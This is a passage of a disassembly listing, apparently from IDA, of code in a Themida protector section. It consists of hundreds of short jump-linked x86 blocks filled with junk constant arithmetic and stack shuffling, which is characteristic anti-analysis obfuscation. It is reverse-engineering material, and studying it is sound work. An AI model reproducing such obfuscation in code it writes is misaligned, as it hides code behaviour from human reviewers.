loc_552851 ; --------------------------------------------------------------------------- loc_564198: ; CODE XREF: Themida_:00550DD2j pop edi jmp loc_563CC8 ; --------------------------------------------------------------------------- loc_56419E: ; CODE XREF: Themida_:00562D9Dj push edx jmp loc_554E67 ; --------------------------------------------------------------------------- loc_5641A4: ; CODE XREF: Themida_:00553BCBj xchg esi, [esp] pop esp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push ecx jmp loc_5531DC ; --------------------------------------------------------------------------- loc_5641BA: ; CODE XREF: Themida_:00556433j mov edx, 70551371h not edx jmp loc_55F58F ; --------------------------------------------------------------------------- loc_5641C6: ; CODE XREF: Themida_:0055C3A8j jmp loc_550420 ; --------------------------------------------------------------------------- loc_5641CB: ; CODE XREF: Themida_:00556B62j or ebp, 0E394027h jmp loc_5568AB ; --------------------------------------------------------------------------- loc_5641D6: ; CODE XREF: Themida_:0055D57Dj add esp, 4 inc ecx add ecx, 6CEF568Ch and esi, ecx pop ecx sub esp, 4 mov [esp], edi push ebp mov ebp, 72A76D16h mov edi, ebp pop ebp jmp loc_5658B3 ; --------------------------------------------------------------------------- loc_5641FA: ; CODE XREF: Themida_:00564745j mov eax, ebp mov esi, eax pop eax pop ebp push ecx mov ecx, 290C41CEh or ecx, 20700F21h jmp loc_55D54F ; --------------------------------------------------------------------------- loc_564211: ; CODE XREF: Themida_:0055BA31j pop eax sub ecx, ebp pop ebp jmp loc_55066D ; --------------------------------------------------------------------------- loc_56421A: ; CODE XREF: Themida_:00564EA0j mov ebx, esp add ebx, 4 jmp loc_561C13 ; --------------------------------------------------------------------------- loc_564227: ; CODE XREF: Themida_:0055B615j mov esi, [esp] add esp, 4 sub ebx, 42A7428Ch sub ebx, 46353E12h add ebx, eax add ebx, 46353E12h push ebp jmp loc_55C453 ; --------------------------------------------------------------------------- loc_56424A: ; CODE XREF: Themida_:0055BF68j pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_55CE3C ; --------------------------------------------------------------------------- loc_564256: ; CODE XREF: Themida_:0055547Dj add eax, ebx add eax, 739F118Ch push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_556765 ; --------------------------------------------------------------------------- loc_56426E: ; CODE XREF: Themida_:0055373Fj pop ecx jmp loc_55B329 ; --------------------------------------------------------------------------- loc_564274: ; CODE XREF: Themida_:00562A8Dj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push cx mov ch, 4Bh add bl, ch pop cx push 277Dh mov [esp], eax mov al, 64h neg al jmp loc_559382 ; --------------------------------------------------------------------------- loc_5642A0: ; CODE XREF: Themida_:00560E34j push dword ptr [esp] jmp loc_55883C ; --------------------------------------------------------------------------- loc_5642A8: ; CODE XREF: Themida_:00560645j push edx mov edx, 6ACD661Bh neg edx sub edx, 44675677h sub edx, 58744261h and edx, 23881B59h xor edx, 3AC74F5Bh sub eax, edx pop edx jmp loc_55F0E9 ; --------------------------------------------------------------------------- loc_5642D0: ; CODE XREF: Themida_:005610B9j xchg esi, [esp] pop esp mov [esp], ebx jmp loc_552A5F ; --------------------------------------------------------------------------- loc_5642DC: ; CODE XREF: Themida_:0055CD66j add eax, ebx push esi mov esi, esp add esi, 4 jmp loc_5512A2 ; --------------------------------------------------------------------------- loc_5642EC: ; CODE XREF: Themida_:005597E8j pop esi add esi, 4 push 0A60h mov [esp], ebp push ecx jmp loc_556940 ; --------------------------------------------------------------------------- loc_564301: ; CODE XREF: Themida_:005575C7j push dword ptr [esp] pop eax jmp loc_55ED41 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_564313: ; CODE XREF: Themida_:0055E1FCj mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 add ebx, 4 jmp loc_55CDD2 ; --------------------------------------------------------------------------- loc_56432F: ; CODE XREF: Themida_:00558FA3j push ebx mov ebx, 3F3A7743h not ebx shr ebx, 2 xor ebx, 4062D4h xor esi, ebx pop ebx or esi, 7F3C00E7h jmp loc_55A384 ; --------------------------------------------------------------------------- loc_56434E: ; CODE XREF: Themida_:0055E39Fj mov ebp, [esp] add esp, 4 sub dword ptr [esp], 75BA3676h sub esp, 4 mov [esp], esi jmp loc_550631 ; --------------------------------------------------------------------------- loc_564369: ; CODE XREF: Themida_:00551955j xor dword ptr [esp], 27F253CCh pop dword ptr [edi+20h] xor dword ptr [edi+20h], 27F253CCh pop ebp loc_56437B: ; CODE XREF: Themida_:005550F8j ; Themida_:00560D6Ej mov ebx, [esp] push edx mov edx, esp sub esp, 4 jmp loc_55535C ; --------------------------------------------------------------------------- loc_56438C: ; CODE XREF: Themida_:0055DACFj pop ecx push ebx sub dword ptr [esp], 5D446D66h jmp loc_55F0CF ; --------------------------------------------------------------------------- loc_56439A: ; CODE XREF: Themida_:00553AD6j xchg ecx, [esp] pop esp jmp loc_55C4B8 ; --------------------------------------------------------------------------- loc_5643A3: ; CODE XREF: Themida_:005600D3j push 611306F6h push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 jmp loc_552509 ; --------------------------------------------------------------------------- loc_5643B7: ; CODE XREF: Themida_:0055DCDBj push 1000h push dword ptr [esp] jmp loc_55B077 ; --------------------------------------------------------------------------- loc_5643C4: ; CODE XREF: Themida_:0055EFD5j mov ebp, 7E0E78FCh shl ebp, 1 push ecx jmp loc_55B7C1 ; --------------------------------------------------------------------------- loc_5643D1: ; CODE XREF: Themida_:0055F490j add bl, 0E0h pop edx sub bl, ch sub esp, 4 mov [esp], ecx mov cl, 0Fh sub bl, 9Fh add bl, cl push dx jmp loc_55A6E8 ; --------------------------------------------------------------------------- loc_5643EE: ; CODE XREF: Themida_:005614A3j shl esi, 7 jmp loc_55CF4E ; --------------------------------------------------------------------------- loc_5643F6: ; CODE XREF: Themida_:005545AEj pop ecx sub edx, 66A7B213h shl edx, 8 push 65DEh mov [esp], edi push 3D5F0A00h pop edi xor edx, edi jmp loc_5609F0 ; --------------------------------------------------------------------------- loc_564415: ; CODE XREF: Themida_:00555693j inc dh jmp loc_5537A8 ; --------------------------------------------------------------------------- loc_56441C: ; CODE XREF: Themida_:0055367Fj pop edx push eax mov al, 0C0h or al, 99h jmp loc_5513C6 ; --------------------------------------------------------------------------- loc_564427: ; CODE XREF: Themida_:0055CA83j mov esi, 1D3D5EBFh xor ebx, esi jmp loc_551454 ; --------------------------------------------------------------------------- loc_564433: ; CODE XREF: Themida_:0056550Bj push ebp mov ebp, 4 push 58F5h mov [esp], edi mov edi, 1BE01C33h push ebx push ecx mov ecx, 1CE36372h mov ebx, 3A31707Bh sub ebx, ecx jmp loc_55D0F6 ; --------------------------------------------------------------------------- loc_564459: ; CODE XREF: Themida_:00561A27j push dword ptr [esp] jmp loc_560AD9 ; --------------------------------------------------------------------------- loc_564461: ; CODE XREF: Themida_:0056549Cj mov [esp], eax push ebx push 476C617Ch pop ebx inc ebx jmp loc_550DDF ; --------------------------------------------------------------------------- loc_564471: ; CODE XREF: Themida_:00550822j push 0B78h mov [esp], ebx mov ebx, 43016DDh add eax, 0AC11E20h sub eax, ebx sub eax, 0AC11E20h pop ebx sub eax, 16204B27h pop ebp movzx ax, byte ptr [eax] push small 7382h jmp loc_556937 ; --------------------------------------------------------------------------- loc_56449E: ; CODE XREF: Themida_:00556504j mov dh, 3 add ah, 0F2h sub ah, dh sub ah, 0F2h mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_561D07 ; --------------------------------------------------------------------------- loc_5644C2: ; CODE XREF: Themida_:00557D08j mov ecx, 6B444CE6h push ecx not dword ptr [esp] pop ecx push 1A97h mov [esp], ecx xchg eax, [esp] not eax xchg eax, [esp] jmp loc_55DDF0 ; --------------------------------------------------------------------------- loc_5644E1: ; CODE XREF: Themida_:0055A3F8j not dl inc dl sub dl, 8Fh jmp loc_55E654 ; --------------------------------------------------------------------------- loc_5644ED: ; CODE XREF: Themida_:0055752Aj sub ebx, 7A659F2h jmp loc_5594E7 ; --------------------------------------------------------------------------- loc_5644F8: ; CODE XREF: Themida_:0055CED9j push cx mov cl, 35h xor dh, cl jmp loc_5604F8 ; --------------------------------------------------------------------------- loc_564503: ; CODE XREF: Themida_:0055EEE8j add ebx, ecx pop ecx sub ebx, ebp sub ebx, 39D30A3Eh jmp loc_55807D ; --------------------------------------------------------------------------- loc_564513: ; CODE XREF: Themida_:0055A7C6j mov eax, [esp] add esp, 4 mov ah, bl jmp loc_55B753 ; --------------------------------------------------------------------------- loc_564520: ; CODE XREF: Themida_:00556AD9j pop edx xchg ebp, [esp] jmp loc_553C29 ; --------------------------------------------------------------------------- loc_564529: ; CODE XREF: Themida_:0055D71Dj push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_557A86 ; --------------------------------------------------------------------------- loc_56453A: ; CODE XREF: Themida_:00556349j pop ebx jmp loc_550774 ; --------------------------------------------------------------------------- loc_564540: ; CODE XREF: Themida_:00560EADj add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_564DBC ; --------------------------------------------------------------------------- loc_56455B: ; CODE XREF: Themida_:0055D9DBj pop dword ptr [esp] pop esp jmp loc_563A9D ; --------------------------------------------------------------------------- loc_564564: ; CODE XREF: Themida_:00565C4Ej sub ebx, 7FBE7BD3h mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_56378F ; --------------------------------------------------------------------------- loc_56457A: ; CODE XREF: Themida_:00561AE9j add esp, 4 push eax mov eax, 56D21227h and ebp, eax pop eax push eax push esi mov esi, 7B416F82h jmp loc_55E268 ; --------------------------------------------------------------------------- loc_564595: ; CODE XREF: Themida_:005543F7j sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_55C213 ; --------------------------------------------------------------------------- loc_5645A6: ; CODE XREF: Themida_:00552BF9j add eax, ecx mov ecx, [esp] add esp, 4 push 10C1h mov [esp], edx mov edx, 4 push edi mov edi, 64A67C62h xor edi, 5B566025h jmp loc_559FD9 ; --------------------------------------------------------------------------- loc_5645CC: ; CODE XREF: Themida_:0055FBD8j add ecx, edi push dword ptr [ecx] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_560275 ; --------------------------------------------------------------------------- loc_5645E7: ; CODE XREF: Themida_:00550B27j add esp, 4 add ebx, 45E63043h add ebx, esi sub ebx, 45E63043h mov esi, [esp] add esp, 4 push dword ptr [ebx] push dword ptr [esp] pop eax jmp loc_55D411 ; --------------------------------------------------------------------------- loc_56460F: ; CODE XREF: Themida_:00555E65j sub ecx, 1B7228E9h push eax push ebp jmp loc_553FA6 ; --------------------------------------------------------------------------- loc_56461C: ; CODE XREF: Themida_:0055BF7Cj mov ecx, 44E50C8Dh add eax, ecx pop ecx mov ecx, [esp] push ebp push esp jmp loc_558B2C ; --------------------------------------------------------------------------- loc_56462E: ; CODE XREF: Themida_:00554833j sub edi, 0E0F27B7h add edi, 582C1E4Fh jmp loc_558DE1 ; --------------------------------------------------------------------------- loc_56463F: ; CODE XREF: Themida_:0055531Bj mov esi, [esp] add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- loc_56464D: ; CODE XREF: Themida_:005533E7j pop edi xchg edx, [esp] mov esp, [esp] mov [esp], edx mov edx, esp add edx, 4 push ebx push eax jmp loc_556138 ; --------------------------------------------------------------------------- loc_564666: ; CODE XREF: Themida_:0055086Cj mov [esp], eax jmp loc_565C76 ; --------------------------------------------------------------------------- loc_56466E: ; CODE XREF: Themida_:00554B5Dj sub al, dl sub al, 95h pop edx add bl, 5Bh jmp loc_5577D1 ; --------------------------------------------------------------------------- loc_56467B: ; CODE XREF: Themida_:005623FFj mov esi, ebp pop ebp add ebp, 12096C0Dh sub ebp, esi sub ebp, 12096C0Dh pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55A932 ; --------------------------------------------------------------------------- loc_56469C: ; CODE XREF: Themida_:00553FCDj not edx add edx, 1860851h add ecx, 7F195E2Ah add ecx, edx jmp loc_555CA7 ; --------------------------------------------------------------------------- loc_5646B1: ; CODE XREF: Themida_:00554150j push 2F28h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push 404Ch jmp loc_558EEA ; --------------------------------------------------------------------------- loc_5646CC: ; CODE XREF: Themida_:00557B41j add edx, 4 jmp loc_5627CE ; --------------------------------------------------------------------------- loc_5646D4: ; CODE XREF: Themida_:0055B93Aj add esp, 4 pop dword ptr [esp] pop esp loc_5646DB: ; CODE XREF: Themida_:00557D2Bj push 2917h jmp loc_55C116 ; --------------------------------------------------------------------------- loc_5646E5: ; CODE XREF: Themida_:00550C88j pop ebp jmp loc_55B7FB ; --------------------------------------------------------------------------- loc_5646EB: ; CODE XREF: Themida_:0055EB28j sub ebx, edx pop edx jmp loc_55CCAA ; --------------------------------------------------------------------------- loc_5646F3: ; CODE XREF: Themida_:00563864j or ebx, edx mov edx, [esp] add esp, 4 xor ebx, 6FC75907h dec ebx add ebx, 0DF66F90Ch jmp loc_55CBD9 ; --------------------------------------------------------------------------- loc_56470D: ; CODE XREF: Themida_:00555DD5j or edx, 70E442Ah dec edx and edx, 4D473F2Fh not edx xor edx, 0EC18C841h xor edi, edx pop edx neg edi dec edi sub edi, 9D6D3FF8h xor ebx, edi pop edi add edi, 3D917877h add edi, ebx jmp loc_5598BA ; --------------------------------------------------------------------------- loc_56473E: ; CODE XREF: Themida_:0055C034j push ebp mov ebp, 37662032h push eax jmp loc_5641FA ; --------------------------------------------------------------------------- loc_56474A: ; CODE XREF: Themida_:0055F613j mov [esp], edi push dword ptr [esp+4] jmp loc_553C8E ; --------------------------------------------------------------------------- loc_564756: ; CODE XREF: Themida_:005628C5j shr ecx, 7 jmp loc_5546D2 ; --------------------------------------------------------------------------- loc_56475E: ; CODE XREF: Themida_:005507DBj push esi push dword ptr [esp+4] jmp loc_55FDFE ; --------------------------------------------------------------------------- loc_564768: ; CODE XREF: Themida_:00555D6Dj add ebx, 8B80CA1h add ebx, eax sub ebx, 8B80CA1h jmp loc_551B67 ; --------------------------------------------------------------------------- loc_56477B: ; CODE XREF: Themida_:00557CC8j mov cl, dh push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx push ebx jmp loc_56180B ; --------------------------------------------------------------------------- loc_56478E: ; CODE XREF: Themida_:00552350j xchg eax, [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_56479D: ; CODE XREF: Themida_:00555B72j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_551105 ; --------------------------------------------------------------------------- loc_5647B2: ; CODE XREF: Themida_:00550597j sub ebx, 4 push 4DF5h mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55EBF8 ; --------------------------------------------------------------------------- loc_5647D2: ; CODE XREF: Themida_:0055723Dj mov [esp], ebx mov ebx, esp push esi mov esi, 4 jmp loc_55480C ; --------------------------------------------------------------------------- loc_5647E2: ; CODE XREF: Themida_:00555C30j push edi jmp loc_55DDFC ; --------------------------------------------------------------------------- loc_5647E8: ; CODE XREF: Themida_:0055101Cj mov [esp], esi push 66C7h mov [esp], ebx push edi mov edi, 172406ACh mov ebx, edi jmp loc_55F7B8 ; --------------------------------------------------------------------------- loc_564800: ; CODE XREF: Themida_:0055A350j mov edx, 961B5F17h sub ecx, edx pop edx mov edx, ecx pop ecx sub esp, 4 jmp loc_56375F ; --------------------------------------------------------------------------- loc_564816: ; CODE XREF: Themida_:0055FD0Fj pop ecx jmp loc_553359 ; --------------------------------------------------------------------------- loc_56481C: ; CODE XREF: Themida_:0056038Bj shl eax, 5 inc eax shr eax, 6 add eax, 0FC884EBDh add ecx, 47F0DC9h sub ecx, eax sub ecx, 47F0DC9h mov eax, [esp] jmp loc_55665C ; --------------------------------------------------------------------------- loc_56483E: ; CODE XREF: Themida_:0055A8ADj mov [esp], edx push 0E543F12h pop edx jmp loc_55D928 ; --------------------------------------------------------------------------- loc_56484C: ; CODE XREF: Themida_:00560069j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 0 sub [esp], ecx mov ecx, [esp] add esp, 4 jmp loc_562DBE ; --------------------------------------------------------------------------- loc_564871: ; CODE XREF: Themida_:005530AAj push ebx jmp loc_55850A ; --------------------------------------------------------------------------- loc_564877: ; CODE XREF: Themida_:00560888j shl ebx, 6 push edi mov edi, 7C731344h inc edi jmp loc_55AA5D ; --------------------------------------------------------------------------- loc_564886: ; CODE XREF: Themida_:0055DB18j neg ecx shl ecx, 1 shr ecx, 7 push ebx jmp loc_55A3D2 ; --------------------------------------------------------------------------- loc_564893: ; CODE XREF: Themida_:00552E64j pop esp push edi mov edi, 1 add edx, edi pop edi xor edx, 0F81191Bh push 3EB3h mov [esp], eax push 0DB295FFAh pop eax jmp loc_559833 ; --------------------------------------------------------------------------- loc_5648B6: ; CODE XREF: Themida_:00553A33j inc edx sub edx, 5F6267A2h xor eax, edx pop edx jmp loc_557723 ; --------------------------------------------------------------------------- loc_5648C5: ; CODE XREF: Themida_:00557FF3j xor edx, [esp] jmp loc_563C41 ; --------------------------------------------------------------------------- loc_5648CD: ; CODE XREF: Themida_:00550735j sub eax, ebx add eax, 459730ACh pop ebx add eax, 135B1893h jmp loc_5592AA ; --------------------------------------------------------------------------- loc_5648DF: ; CODE XREF: Themida_:005607C2j pop edx pop ecx add ecx, ebx pop ebx jmp loc_55B161 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esi push 3062h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push edx push esi jmp loc_563C66 ; --------------------------------------------------------------------------- loc_56490E: ; CODE XREF: Themida_:0055F9C7j pop ebx push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_563157 ; --------------------------------------------------------------------------- loc_56491D: ; CODE XREF: Themida_:00560D94j push edx mov edx, 6BA672ABh jmp loc_5600A0 ; --------------------------------------------------------------------------- loc_564928: ; CODE XREF: Themida_:00559924j mov esi, [esp] add esp, 4 inc edi jmp loc_554822 ; --------------------------------------------------------------------------- loc_564934: ; CODE XREF: Themida_:00555831j add eax, 4 jmp loc_554E70 ; --------------------------------------------------------------------------- loc_56493C: ; CODE XREF: Themida_:005621AEj push edi jmp loc_55CFB7 ; --------------------------------------------------------------------------- loc_564942: ; CODE XREF: Themida_:0055F850j push esp jmp loc_557843 ; --------------------------------------------------------------------------- loc_564948: ; CODE XREF: Themida_:0055877Aj sub ebp, 253543B6h xor ebp, 9BFB8D05h xor edx, ebp pop ebp sub edi, edx pop edx mov ebx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx push edi jmp loc_55A5E8 ; --------------------------------------------------------------------------- loc_56497E: ; CODE XREF: Themida_:00564CC7j sub ebx, 1 add ebx, 795C0CEFh shl ebx, 5 add ebx, 351B68A1h xor ebx, 0AE75AB62h add ebp, ebx pop ebx jmp loc_557199 ; --------------------------------------------------------------------------- loc_56499E: ; CODE XREF: Themida_:005596FDj add edi, esi pop esi mov edx, [esp] add esp, 4 add edi, 2 jmp loc_559322 ; --------------------------------------------------------------------------- loc_5649B2: ; CODE XREF: Themida_:00559FF0j neg ebp xor ebp, 35F3512h sub ebp, 2C0A2DF0h jmp loc_55CFE1 ; --------------------------------------------------------------------------- loc_5649C5: ; CODE XREF: Themida_:00565530j push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_55EA28 ; --------------------------------------------------------------------------- loc_5649D4: ; CODE XREF: Themida_:005568DAj pop edx sub ebp, edi pop edi push edi jmp loc_55EA0D ; --------------------------------------------------------------------------- loc_5649DE: ; CODE XREF: Themida_:0056043Cj push 4ACh mov [esp], ebp mov ebp, 4 add ebx, ebp jmp loc_557856 ; --------------------------------------------------------------------------- loc_5649F2: ; CODE XREF: Themida_:0055E180j sub esp, 4 jmp loc_55CB93 ; --------------------------------------------------------------------------- loc_5649FD: ; CODE XREF: Themida_:00562578j movzx ecx, al push 6A1Dh mov [esp], edi push esp pop edi jmp loc_55D7EE ; --------------------------------------------------------------------------- loc_564A0F: ; CODE XREF: Themida_:0056201Dj push esi jmp loc_5566A6 ; --------------------------------------------------------------------------- loc_564A15: ; CODE XREF: Themida_:005595D7j sub bl, 16h mov cl, bl jmp loc_555DE6 ; --------------------------------------------------------------------------- loc_564A1F: ; CODE XREF: Themida_:005569A7j sub al, 1Bh sub esp, 4 mov [esp], ecx mov cl, 0D5h not cl sub cl, 54h sub al, cl pop ecx push bx mov bh, 85h sub esp, 2 mov [esp], cx sub esp, 4 mov [esp], ebx mov bh, 0F7h dec bh neg bh jmp loc_55CA96 ; --------------------------------------------------------------------------- loc_564A50: ; CODE XREF: Themida_:0055926Fj sub ebp, eax sub ebp, 67FF6107h pop eax add eax, 5FEC3B6Eh jmp loc_55375D ; --------------------------------------------------------------------------- loc_564A63: ; CODE XREF: Themida_:0055DDEBj pop edi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_55C4BF ; --------------------------------------------------------------------------- loc_564A75: ; CODE XREF: Themida_:0055E944j pop edx sub esp, 4 jmp loc_55267B ; --------------------------------------------------------------------------- loc_564A81: ; CODE XREF: Themida_:0055843Dj xor dx, cx jmp loc_55CD6B ; --------------------------------------------------------------------------- loc_564A89: ; CODE XREF: Themida_:00551C30j pop dword ptr [esp] push ebx mov ebx, 4 push eax mov eax, 371A77CCh sub [esp+8], eax pop eax jmp loc_561B9C ; --------------------------------------------------------------------------- loc_564AA2: ; CODE XREF: Themida_:00562EB5j add esp, 4 add ebx, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor ebx, [esp] xor [esp], ebx jmp loc_563C56 ; --------------------------------------------------------------------------- loc_564AC5: ; CODE XREF: Themida_:00552489j mov esi, 14C0414Bh jmp loc_56347A ; --------------------------------------------------------------------------- loc_564ACF: ; CODE XREF: Themida_:0055A16Aj shl edi, 4 jmp loc_555299 ; --------------------------------------------------------------------------- loc_564AD7: ; CODE XREF: Themida_:0055319Bj mov [esp], edi mov edi, esp jmp loc_55D268 ; --------------------------------------------------------------------------- loc_564AE1: ; CODE XREF: Themida_:005532B5j add eax, edx jmp loc_5511F8 ; --------------------------------------------------------------------------- loc_564AE8: ; CODE XREF: Themida_:00550E72j push esi mov esi, 53884633h neg esi dec esi sub esi, 39F32053h neg esi jmp loc_550AC5 ; --------------------------------------------------------------------------- loc_564AFE: ; CODE XREF: Themida_:00563B2Aj mov edx, 0B724345h jmp loc_557931 ; --------------------------------------------------------------------------- loc_564B08: ; CODE XREF: Themida_:005564E3j mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 7D9321D4h sub edi, 183E4001h shr edi, 7 sub edi, 44D30A2Ah jmp loc_550585 ; --------------------------------------------------------------------------- loc_564B3A: ; CODE XREF: Themida_:00564C1Dj xchg edx, [esp] pop esp xor ebx, 13935647h push 0 jmp loc_55CC0D ; --------------------------------------------------------------------------- loc_564B4E: ; CODE XREF: Themida_:0055EC96j add edx, 6A69432Bh push ebx mov ebx, 782A7896h xor edx, ebx mov ebx, [esp] add esp, 4 jmp loc_552ED2 ; --------------------------------------------------------------------------- loc_564B67: ; CODE XREF: Themida_:005537A3j pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 7B05h mov [esp], eax jmp loc_550420 ; --------------------------------------------------------------------------- loc_564B81: ; CODE XREF: Themida_:00565374j push dword ptr [esp] pop edi jmp loc_551298 ; --------------------------------------------------------------------------- loc_564B8A: ; CODE XREF: Themida_:005652F7j add ebx, 18862C4Ah pop eax xchg ebx, [esp] pop esp push 4995h mov [esp], ebx mov ebx, 4 sub ebp, 0F70789Ch jmp loc_550CD9 ; --------------------------------------------------------------------------- loc_564BAD: ; CODE XREF: Themida_:005513C1j mov ax, 481Ah sub [esp+4], ax pop ax mov di, [esp] push 72EAh jmp loc_5567C1 ; --------------------------------------------------------------------------- loc_564BC6: ; CODE XREF: Themida_:00554F70j add ebx, edi jmp loc_55133E ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55E022 ; --------------------------------------------------------------------------- loc_564BD6: ; CODE XREF: Themida_:00552868j inc eax xor eax, 55FC76C8h jmp loc_55263B ; --------------------------------------------------------------------------- loc_564BE1: ; CODE XREF: Themida_:005638CFj sub ebx, 5F040BEFh jmp loc_565BD2 ; --------------------------------------------------------------------------- loc_564BEC: ; CODE XREF: Themida_:0055FB0Aj pop ecx add edx, 2 push ecx mov ecx, esp add ecx, 4 jmp loc_5510E4 ; --------------------------------------------------------------------------- loc_564C01: ; CODE XREF: Themida_:0055BC76j sub esp, 4 jmp loc_552078 ; --------------------------------------------------------------------------- loc_564C09: ; CODE XREF: Themida_:005583BDj add esi, 10263D62h jmp loc_55DCEE ; --------------------------------------------------------------------------- loc_564C14: ; CODE XREF: Themida_:00558AF5j add edx, 4 add edx, 4 jmp loc_564B3A ; --------------------------------------------------------------------------- loc_564C22: ; CODE XREF: Themida_:0055AF1Fj sub esi, 4 xchg esi, [esp] jmp loc_550640 ; --------------------------------------------------------------------------- loc_564C2D: ; CODE XREF: Themida_:0055E82Cj mov bl, 8Ah shl bl, 3 shr bl, 6 neg bl inc bl sub bl, 70h xor ch, bl mov ebx, [esp] add esp, 4 sub dh, ch mov ecx, [esp] jmp loc_55A86E ; --------------------------------------------------------------------------- loc_564C4E: ; CODE XREF: Themida_:0055A3BEj xchg edi, [esp] pop esp and al, cl mov cx, [esp] push 27B8h mov [esp], eax mov eax, esp push ebp mov ebp, 4 jmp loc_55DFE8 ; --------------------------------------------------------------------------- loc_564C6D: ; CODE XREF: Themida_:00553118j mov eax, esp sub esp, 4 mov [esp], edi mov edi, 252E62F1h and edi, 1778090Bh shr edi, 2 inc edi xor edi, 14A0005h jmp loc_55E1C8 ; --------------------------------------------------------------------------- loc_564C8F: ; CODE XREF: Themida_:00558730j add esp, 4 jmp loc_55A13B ; --------------------------------------------------------------------------- loc_564C9A: ; CODE XREF: Themida_:005601A6j mov edi, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push 2EE4h mov [esp], edi jmp loc_558493 ; --------------------------------------------------------------------------- loc_564CBC: ; CODE XREF: Themida_:0055C0F5j mov ebx, 4BE94D7Dh or ebx, 73871B25h jmp loc_56497E ; --------------------------------------------------------------------------- loc_564CCC: ; CODE XREF: Themida_:00558716j add esp, 4 xor ecx, edx jmp loc_56414F ; --------------------------------------------------------------------------- loc_564CD6: ; CODE XREF: Themida_:0055812Cj shr dl, 4 shr dl, 6 add dl, 0ABh xor dl, 43h mov al, dl pop edx not al not al sub al, 26h jmp loc_5545DE ; --------------------------------------------------------------------------- loc_564CF0: ; CODE XREF: Themida_:0055B790j mov [eax], ebp jmp loc_5554F4 ; --------------------------------------------------------------------------- loc_564CF7: ; CODE XREF: Themida_:0055C3F7j pop ebp not edi dec edi xor edi, 8A56E165h add ebp, edi pop edi mov edx, [esp] add esp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55EEED ; --------------------------------------------------------------------------- loc_564D20: ; CODE XREF: Themida_:00558AAAj push 4A7C301Dh pop eax xor eax, 19FB47E0h mov edx, eax pop eax sub edx, 19E05EF3h sub ecx, 5C01534Fh add ecx, 558F0CB6h add ecx, edx push edx push ebx jmp loc_560535 ; --------------------------------------------------------------------------- loc_564D49: ; CODE XREF: Themida_:0055C4E0j push edi push eax mov eax, 5F153DA5h sub eax, 1C72E4B1h jmp loc_559E8D ; --------------------------------------------------------------------------- loc_564D5A: ; CODE XREF: Themida_:00553715j sub esp, 4 jmp loc_5593B5 ; --------------------------------------------------------------------------- loc_564D62: ; CODE XREF: Themida_:0055F6A0j xchg eax, [esp] pop esi xor esi, 9319A016h add ecx, esi push dword ptr [esp] jmp loc_560750 ; --------------------------------------------------------------------------- loc_564D76: ; CODE XREF: Themida_:0055D79Dj mov ecx, 32B25123h jmp loc_5555E2 ; --------------------------------------------------------------------------- loc_564D80: ; CODE XREF: Themida_:005542EEj sub edx, esi pop esi jmp loc_557849 ; --------------------------------------------------------------------------- loc_564D88: ; CODE XREF: Themida_:00551205j push dword ptr [esp] mov edx, [esp] add esp, 4 push ebp jmp loc_556C45 ; --------------------------------------------------------------------------- loc_564D9A: ; CODE XREF: Themida_:00561596j add ecx, 1E405A77h sub ecx, 19317CD4h mov ebx, [esp] add esp, 4 add edx, ecx pop ecx push edx push dword ptr [esp+4] jmp loc_550529 ; --------------------------------------------------------------------------- loc_564DBC: ; CODE XREF: Themida_:00564556j push ebx push esp pop ebx add ebx, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5625B9 ; --------------------------------------------------------------------------- loc_564DD9: ; CODE XREF: Themida_:00562BAEj add ebp, 30CA6095h sub ebp, 0C0387249h add edi, ebp pop ebp xor edi, 56395D7Ch jmp loc_560465 ; --------------------------------------------------------------------------- loc_564DF3: ; CODE XREF: Themida_:005517CCj add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55FED4 ; --------------------------------------------------------------------------- loc_564DFF: ; CODE XREF: Themida_:00561DF4j mov ebp, 533145DEh push 20B5h mov [esp], ecx jmp loc_55E52C ; --------------------------------------------------------------------------- loc_564E11: ; CODE XREF: Themida_:00554598j push edx mov dh, 0C7h dec dh jmp loc_552BFE ; --------------------------------------------------------------------------- loc_564E1B: ; CODE XREF: Themida_:00563DE5j xor edi, [esp] jmp loc_558617 ; 